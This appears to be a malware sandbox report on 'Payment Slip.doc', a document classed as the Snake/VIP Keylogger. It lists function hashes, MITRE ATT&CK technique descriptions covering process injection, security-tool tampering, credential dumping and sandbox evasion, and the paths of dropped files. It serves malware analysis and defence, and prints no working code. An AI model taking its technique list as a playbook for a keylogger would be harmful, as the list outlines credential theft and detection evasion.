
API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7c3911f33154742c23820b6f80f0c957faf44b42c71084d960ad7247e527e02a
Instruction ID: ca1e184068b7d7ecc2c5ccc341490af3e0d8616b560a1ca4c0cf6b4cb8b3fe8c
Opcode Fuzzy Hash: 7c3911f33154742c23820b6f80f0c957faf44b42c71084d960ad7247e527e02a
Instruction Fuzzy Hash: 2AC1A074E00318CFDB14DFA5C995BADBBB2BF89300F2085A9E409AB355DB359A85CF50

Function 00C39458 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f27f1748605fe162f3d9b70800bbf79628068df4fc28a93cf768d9fdb1bb0c7f
Instruction ID: 9380e713401708bb7aab0ad44fa9f0d7336ea58bfceeba0e4ab63cb5b84a0ac3
Opcode Fuzzy Hash: f27f1748605fe162f3d9b70800bbf79628068df4fc28a93cf768d9fdb1bb0c7f
Instruction Fuzzy Hash: D4C1AF74E00218CFDB54DFA5C995B9DBBB2FF89300F2085AAD409AB395DB359A81CF50

Function 00C3AA68 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cdc2de5776b8d1cb2d46343fb61341eae5b669c4731dbc2dc811e95926954613
Instruction ID: fef206f4a0528eb50007e69841c140453d86c6e169dd6db613e00ac6347b527c
Opcode Fuzzy Hash: cdc2de5776b8d1cb2d46343fb61341eae5b669c4731dbc2dc811e95926954613
Instruction Fuzzy Hash: C5C1BF74E00218CFDB54DFA5C994BADBBB2BF89300F2084AAD409AB355DB359E81CF50

Function 00C33070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0d8ccc3aad1f6917384e334b2d41a42c9edf4530e1974c90d1b7cd5b63ca8e1d
Instruction ID: 0ebbd3d72e131c6c039e18eb93b280d7474120f12938feb6a3f532715f05b1c1
Opcode Fuzzy Hash: 0d8ccc3aad1f6917384e334b2d41a42c9edf4530e1974c90d1b7cd5b63ca8e1d
Instruction Fuzzy Hash: 69C1C074E00218CFDB14DFA5C994B9EBBB2BF89300F2084AAD409AB355DB359E81CF50

Function 00C3B770 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 07021f75d58574e1c400d0996559ba16bd18a9983fa91f91266584858fde9245
Instruction ID: b7e9c736ff87dbd8351d5df567f0c7a54b53b1c23379f48423c35becd31d7b1e
Opcode Fuzzy Hash: 07021f75d58574e1c400d0996559ba16bd18a9983fa91f91266584858fde9245
Instruction Fuzzy Hash: CEC1B074E00218CFDB54DFA5C995B9DBBB2BF89300F2484AAD409AB355DB359E81CF50

Function 00C3C478 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2fa943f085e7a951c5737b6183c5c9abd6e42353f0203b96f7ef6f9b61410826
Instruction ID: db75124a3aaa8a1657d89390b743f069a9194959cdd3eda00383d2cfecd16418
Opcode Fuzzy Hash: 2fa943f085e7a951c5737b6183c5c9abd6e42353f0203b96f7ef6f9b61410826
Instruction Fuzzy Hash: C0C1B174E00218CFDB54DFA5C995B9DBBB2BF89300F2484AAD409AB395DB359E81CF50

Function 00C33D78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d4a3d2f62d2b757847a1e186df79d5205790cdea948f04b43e1cc234e0f2ac59
Instruction ID: 613b39bc9a3b0c1d8592a76b0ae882e9b62e0d94887a06d189024998e1eb8cd5
Opcode Fuzzy Hash: d4a3d2f62d2b757847a1e186df79d5205790cdea948f04b43e1cc234e0f2ac59
Instruction Fuzzy Hash: 24C1B074E00218CFDB54DFA5C994B9DBBB2BF89300F2485AAD409AB355DB35AE81CF50

Function 00C39000 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 434aee99d27503f44ab4662b575d83f992afda689c3aab80030e785a33c9794b
Instruction ID: 54f518b29ab552f62d8176218eca192d0d58c23daac6bb24a779cd127dc449d5
Opcode Fuzzy Hash: 434aee99d27503f44ab4662b575d83f992afda689c3aab80030e785a33c9794b
Instruction Fuzzy Hash: DCC1AE74E00218CFDB54DFA5C995B9DBBB2FF89300F2084AAD409AB395DB359A81CF50

Function 00C3B318 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4baedff293d3a15b083caf2fa19025d68184039ae20e9423878d89ac275441bf
Instruction ID: f85c5048729c1f6445d502a9364d5444f3fc9a5abcc1533236f7e9cf309cc9ae
Opcode Fuzzy Hash: 4baedff293d3a15b083caf2fa19025d68184039ae20e9423878d89ac275441bf
Instruction Fuzzy Hash: B6C1AF74E00218CFDB54DFA5C994BADBBB2BF89300F2484AAD409AB355DB359E81CF50

Function 00C3C020 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0738d652484a91ff83c12a291edd7bf7d19fa454c86b7637de61a68e1fb0a34e
Instruction ID: 203f11ee6b8af6ad58f2085481a63f8b68eeb6af837402461e560b4ce377ba31
Opcode Fuzzy Hash: 0738d652484a91ff83c12a291edd7bf7d19fa454c86b7637de61a68e1fb0a34e
Instruction Fuzzy Hash: FFC1C274E00218CFDB14DFA5C994BADBBB2BF89300F2484A9D409AB355DB359E81CF50

Function 00C33920 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 031d0a992c6536238b300602c9b4b1904dcd4bc58b117c251fe61ce7c811a914
Instruction ID: ab434614321e309bb5ae407342827e6ce9a1df08d3cddac4c94e3889d0df8cf3
Opcode Fuzzy Hash: 031d0a992c6536238b300602c9b4b1904dcd4bc58b117c251fe61ce7c811a914
Instruction Fuzzy Hash: 01C1BF74E10218CFDB54DFA5C994BADBBB2BF89300F2084AAD409AB355DB359E81CF50

Function 00C34628 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 39daaf43ce04f755f8f53fa13dc21e50376294a4d2b8eb614df49b8122a87149
Instruction ID: 039a3dc26024c9929422d564f5a43b23254939c5ef27b8623281816b7e7e9e08
Opcode Fuzzy Hash: 39daaf43ce04f755f8f53fa13dc21e50376294a4d2b8eb614df49b8122a87149
Instruction Fuzzy Hash: 85C1B174E00218CFDB54DFA5C995B9DBBB2BF89300F2084AAD409AB355DB35AE81CF50

Function 00C3CD28 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d6ed6b27a64c2c9e6871245605749e635ecb73a4f96301d97b60d518f1394c3c
Instruction ID: 1f972a375d8808b51ea9bf360ed2cb2a96189a38a447f4c2121d8eee0675f86e
Opcode Fuzzy Hash: d6ed6b27a64c2c9e6871245605749e635ecb73a4f96301d97b60d518f1394c3c
Instruction Fuzzy Hash: 13C1C174E00218CFDB54DFA5D995B9DBBB2BF89300F2084AAD409AB355DB359E81CF50

Function 00C3DA30 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3d277b554755667fb0afef8509d673b5c4e4ea78122b6ce049e7ba29dfafbd9e
Instruction ID: 1e4a2731b6ebf9fab5cd89f4d9d38b046260a43540bf11841487858b25d94191
Opcode Fuzzy Hash: 3d277b554755667fb0afef8509d673b5c4e4ea78122b6ce049e7ba29dfafbd9e
Instruction Fuzzy Hash: 67C1C074E00218CFDB14DFA5D994BADBBB2BF89300F2484AAD409AB355DB359E81CF50

Function 00C35330 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e9a186cf51b0c39082920edbe9e06a9d60ce6e59a3f8d30850629a31b8bbaab4
Instruction ID: 5cdcc6445b76dcbdee584a859a811c5b2b78981186d1b3efbd7860e1729686f3
Opcode Fuzzy Hash: e9a186cf51b0c39082920edbe9e06a9d60ce6e59a3f8d30850629a31b8bbaab4
Instruction Fuzzy Hash: 0CC1B074E10218CFDB54DFA5C994BADBBB2BF89300F2484AAD409AB355DB359E81CF50

Function 00C36038 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913678445.0000000000C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c30000_vvndewepeter91026.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f04d78f77ad8a90c624f07a5ec28e620e2205a02f53779bb0398a45d1874979
Instruction ID: 8146f08ef422a5ce2aaed3d4023d4b6ff374df706a944ab6934213a6816e286a
Opcode Fuzzy Hash: 8f04d78f77ad8a90c624f07a5ec28e620e2205a02f53779bb0398a45d1874979
Instruction Fuzzy Hash: 43C1B074E00218CFDB54DFA5C995B9DBBB2BF89300F2084AAD409AB355DB359E85CF50

Function 00D65F31 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913756021.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d60000_vvndewepeter91026.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea58f077328e94eec153259b1c83a59d1a52678ca49d575c45209beec3774720
Instruction ID: 8b1aee77b785bbae04dbfc60a7d5f616bb91e3df35e730d75fa84d017a1cb91b
Opcode Fuzzy Hash: ea58f077328e94eec153259b1c83a59d1a52678ca49d575c45209beec3774720
Instruction Fuzzy Hash: 80917F75900318CFE714EFA0D8A87EEBBB5EB4A312F14952AE501772E8CB785A44CF54

Function 00D65F38 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913756021.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d60000_vvndewepeter91026.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db917238da5e91fc1dfa1c03fa7b4754e71643beb26e6203f3c65c9255b3e7d3
Instruction ID: f3f217fce1d2de9250fcfcf77ae07f30dce66186cd1081ad6894b67a9900a9ff
Opcode Fuzzy Hash: db917238da5e91fc1dfa1c03fa7b4754e71643beb26e6203f3c65c9255b3e7d3
Instruction Fuzzy Hash: 2E916E75900318CFEB14EFA0D8A87EEBBB5EB4A312F14952AD501772E8CB785A44CF54

Function 00D62B00 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913756021.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d60000_vvndewepeter91026.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8da0237807b49e7672a0ce36cbbbe318556d516989d6d5acee441c772243eaa4
Instruction ID: a33bf1047521d9afd72090144a853e80fd4ec8dcb81aaad92a1caf2406cb7a91
Opcode Fuzzy Hash: 8da0237807b49e7672a0ce36cbbbe318556d516989d6d5acee441c772243eaa4
Instruction Fuzzy Hash: 79B1B774E00218CFDB54DFA9D884A9DBBB2FF88310F1481A9E819AB365DB31AD41CF50

Function 00236D5A Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913048420.0000000000230000.00000040.00000800.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_230000_vvndewepeter91026.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5849a328347d454452e6434abb483304013c084c2dceafce1e99a21ee5030003
Instruction ID: 7b8f82ed4d4cfbceea46d66cc00f5fece8d1cff4a8c523718947630a27a03591
Opcode Fuzzy Hash: 5849a328347d454452e6434abb483304013c084c2dceafce1e99a21ee5030003
Instruction Fuzzy Hash: DAA18E74A01228DFDB64DF64C894B9ABBB2BF8A304F5085EAD40DA7350DB759E81CF50

Function 00D62AFC Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913756021.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d60000_vvndewepeter91026.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8235b18b75389001bc07edc9d275a97dbe43229340c86f1547c65a6d3c97316f
Instruction ID: fc04a3fb8c7cca05eb589fdb1cac26f8f09a0cd8539e1903a50bf6257927f8d4
Opcode Fuzzy Hash: 8235b18b75389001bc07edc9d275a97dbe43229340c86f1547c65a6d3c97316f
Instruction Fuzzy Hash: 9C519674E00648CFDB48DFAAD58499DBBF2BF89300F24C169E419AB365DB34A942CF10

Function 00236F39 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.913048420.0000000000230000.00000040.00000800.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_230000_vvndewepeter91026.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6a6012cbaa261d00639e9943babaa974a1e1b48dafe816f8c30b2a286a6199f
Instruction ID: 07438b25af5a884e1771e63acd248ffe86a962b944a95b2897e9925c72eb30aa
Opcode Fuzzy Hash: f6a6012cbaa261d00639e9943babaa974a1e1b48dafe816f8c30b2a286a6199f
Instruction Fuzzy Hash: 05518574A05218CFDB64DF24C894BAEB7B2BF4A305F5099EAD409A7350CB75AE81CF50

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payment Slip.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{157143B9-2766-47C9-9254-225D23463B9D}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{17D0AF65-F169-479E-942C-DF6319E03037}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D8964A50-9018-4193-BC8F-CBF79CAD82D1}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FA07FD67-C9F0-495C-98E7-E2F3E4913787}.tmp

C:\Users\user\AppData\Local\Temp\dpgelmzw.jik.psm1

C:\Users\user\AppData\Local\Temp\lvfoxrzz.mwb.ps1

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Payment Slip.LNK

Windows Analysis Report
Payment Slip.doc

Function 0026C525 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 330
processCOMMON

Function 0026C530 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323
processCOMMON

